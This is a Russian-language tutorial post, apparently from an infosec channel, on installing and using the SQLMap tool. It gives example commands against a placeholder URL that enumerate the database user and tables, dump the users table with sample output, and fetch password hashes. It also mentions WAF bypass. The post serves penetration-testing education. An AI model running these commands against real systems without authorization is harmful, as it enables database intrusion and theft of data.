Sqlmap
Life-Hack - Linux/Хакинг/Хакер/ИБ/OsintSqlmap — это бесплатный инструмент на Python, для автоматизации поиска, эксплуатации и тестирования уязвимостей SQL.
Возможности SQLMap:
- Автоматическое обнаружение SQL инъекций, в том числе слепых инъекций.
- Внедрение в веб-приложение для выполнения произвольных SQL запросов и получения несанкционированного доступа к БД.
- Извлечение данных из БД.
- Возможность работы через прокси и техники для обхода WAF.
- Поддержка широкого списка СУБД, включая MySQL, Oracle, PostgreSQL и др.
Для установки SQLMap на Kali Linux или другие дистрибутивы на базе Debian, выполните команду:
sudo apt-get install sqlmap
Если вы хотите установить инструмент вручную, можно использовать следующую команду:
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
После этого SQLMap можно запустить с помощью:
python sqlmap.py
SQLMap является единственным инструментом тестирования на проникновение, который может правильно обнаруживать и эксплуатировать все известные типы SQLi. Вот список поддерживаемых техник SQLi (указывается в параметре --technique=, при использовании интсрумента):
B: Boolean-based blind
E: Error-based
U: Union query-based
S: Stacked queries
T: Time-based blind
Q: Inline queries
Ниже представлен список аргументов, которые могут быть использованы для перечисления информации о СУБД, структуре и данных в таблицах:
-a, --all — получить все
-b, --banner — получить баннер СУБД
--current-user — получить текущего пользователя СУБД
--current-db — получить текущую базу данных СУБД
--passwords — перечислить хеши паролей пользователей СУБД
--tables — перечислить таблицы базы данных СУБД
--columns — перечислить столбцы таблиц базы данных СУБД
--schema — перечислить схему СУБД
--dump — получить записи таблицы базы данных СУБД
--dump-all — получить все записи таблиц всех баз данных СУБД
-D DB — база данных СУБД для перечисления
-T TBL — таблица(ы) базы данных СУБД для перечисления
-C COL — столбец(ы) таблицы базы данных СУБД для перечисления
По умолчанию SQLMap проверяет предопределенный набор наиболее распространенных уязвимостей. Тем не менее, у пользователей есть возможность использовать большие наборы границ и векторов, уже включенные в SQLMap. Для этого следует использовать опции --level и --risk:
- Опция --level (1-5, по умолчанию 1) расширяет как используемые векторы, так и границы, основываясь на ожидании их успеха (т.е. чем ниже шанс успеха, тем выше уровень).
- Опция --risk (1-3, по умолчанию 1) расширяет используемый набор векторов в зависимости от риска возникновения проблем на целевой стороне (т.е. риска потери записи в базе данных или отказа в обслуживании).
Лучший способ проверить различия между используемыми границами и полезными данными для разных значений --level и --risk — использовать параметр -v для установки уровня детализации.
Обычно, после успешного обнаружения уязвимости SQLi, мы можем начать перечисление основных деталей из базы данных, таких как имя хоста уязвимой цели (--hostname), имя текущего пользователя (--current-user), имя текущей базы данных (--current-db) или хеши паролей (--passwords). SQLMap пропустит обнаружение SQLi, если он был идентифицирован ранее, и сразу запустит процесс перечисления СУБД. Следующая команда SQLMap выполняет все перечисленные выше действия:
sqlmap -u "http://www.example.com/?id=1" --banner --current-user --current-db --is-dba
В наиболее распространенных сценариях, после нахождения текущего имени базы данных, получение имен таблиц будет осуществляться с помощью опции --tables и указанием имени БД с помощью -D, следующим образом:
sqlmap -u "http://www.example.com/?id=1" --tables -D testdb ...SNIP... [13:59:24] [INFO] fetching tables for database: 'testdb' Database: testdb [4 tables] +---------------+ | member | | data | | international | | users | +---------------+
После обнаружения интересующего имени таблицы, извлечение ее содержимого может быть выполнено с помощью параметра --dump и указания имени таблицы с помощью -T users, следующим образом:
sqlmap -u "http://www.example.com/?id=1" --dump -T users -D testdb ...SNIP... Database: testdb Table: users [4 entries] +----+--------+------------+ | id | name | surname | +----+--------+------------+ | 1 | luther | blisset | | 2 | fluffy | bunny | | 3 | wu | ming | | 4 | NULL | nameisnull | +----+--------+------------+ [14:07:18] [INFO] table 'testdb.users' dumped to CSV file '/home/user/.local/share/sqlmap/output/www.example.com/dump/testdb/users.csv'
При работе с большими таблицами, с большим количеством столбцов или строк, мы можем указать столбцы (например, только столбцы имени и фамилии) с помощью опции -C, следующим образом:
sqlmap -u "http://www.example.com/?id=1" --dump -T users -D testdb -C name,surname ...SNIP... Database: testdb Table: users [4 entries] +--------+------------+ | name | surname | +--------+------------+ | luther | blisset | | fluffy | bunny | | wu | ming | | NULL | nameisnull | +--------+------------+
Чтобы получить строки на основе их порядковых номеров внутри таблицы, мы можем указать строки с опциями --start и --stop (например, начинать со 2-й по 3-ю запись) следующим образом:
sqlmap -u "http://www.example.com/?id=1" --dump -T users -D testdb --start=2 --stop=3 ...SNIP... Database: testdb Table: users [2 entries] +----+--------+---------+ | id | name | surname | +----+--------+---------+ | 2 | fluffy | bunny | | 3 | wu | ming | +----+--------+---------+
Вместо того, чтобы извлекать содержимое по одной таблице, мы можем получить все таблицы внутри интересующей нас базы данных, полностью пропустив использование опции -T (например, --dump -D testdb). При простом использовании ключа --dump без указания таблицы с -T будет извлечено все текущее содержимое базы данных. Что касается ключа --dump-all, то будет извлечено все содержимое из всех баз данных. В таких случаях пользователю также рекомендуется включить ключ --exclude-sysdbs (например, --dump-all --exclude-sysdbs), который укажет SQLMap пропустить извлечение содержимого из системных баз данных, так как он обычно не представляет особого интереса для пентестеров.